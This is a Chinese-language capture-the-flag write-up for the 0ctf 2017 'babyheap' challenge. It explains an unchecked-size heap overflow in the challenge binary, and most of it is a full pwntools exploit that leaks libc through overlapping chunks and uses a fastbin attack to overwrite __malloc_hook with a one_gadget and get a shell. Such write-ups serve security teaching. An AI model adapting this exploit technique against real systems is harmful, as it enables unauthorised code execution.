0ctf_2017_babyheap
首先檢查一下保護
IDA 分析好的代碼如下
首先申請了一塊內存地址用來存放結構體數組,地址隨機。
堆題常見的幾個功能。我們來看看add
這里申請內存用的是calloc
struct block{
unsigned int inuse;
unsigned int size;
char * chunkptr;
}
這里沒有檢查size,size可以為任意值。造成堆溢出。
delete函數free后指針清零
show 就是打印出chunk_ptr的內容。
好了,至此程序的大致執行流程我們已經搞清楚了。因為存在堆溢出,並且使用的是calloc,我們可以考慮chunk overlapping,這樣我們只要吧chunk2給釋放掉就可以通過show(chunk1)來打印出unsorted bin 的地址了。不過前提是chunk2要大於global_max_fast。
exp
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./0ctf_2017_babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
#---------------這3個一組,是為了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------這3個一組,是為了fastbin attack 覆寫malloc hook 為one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5
#------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通過edit(0)來改變chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1 delete再add回來使為了改變結構體中的size值,因為show的長度使根據這個值來定的
edit(1,p64(0)*3+p64(0x91)) #因為使通過calloc申請回chunk1的所以chunk2被清零,我們要恢復chunk2
delete(2) #使的chunk2進入unsorted bin
show(1) #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#-----------------fastbin attack-------------------------------------#
delete(4)#釋放使其進入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指針
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆蓋malloc_hook為one_gadget
add(0x10)
#gdb.attach(p)
p.interactive()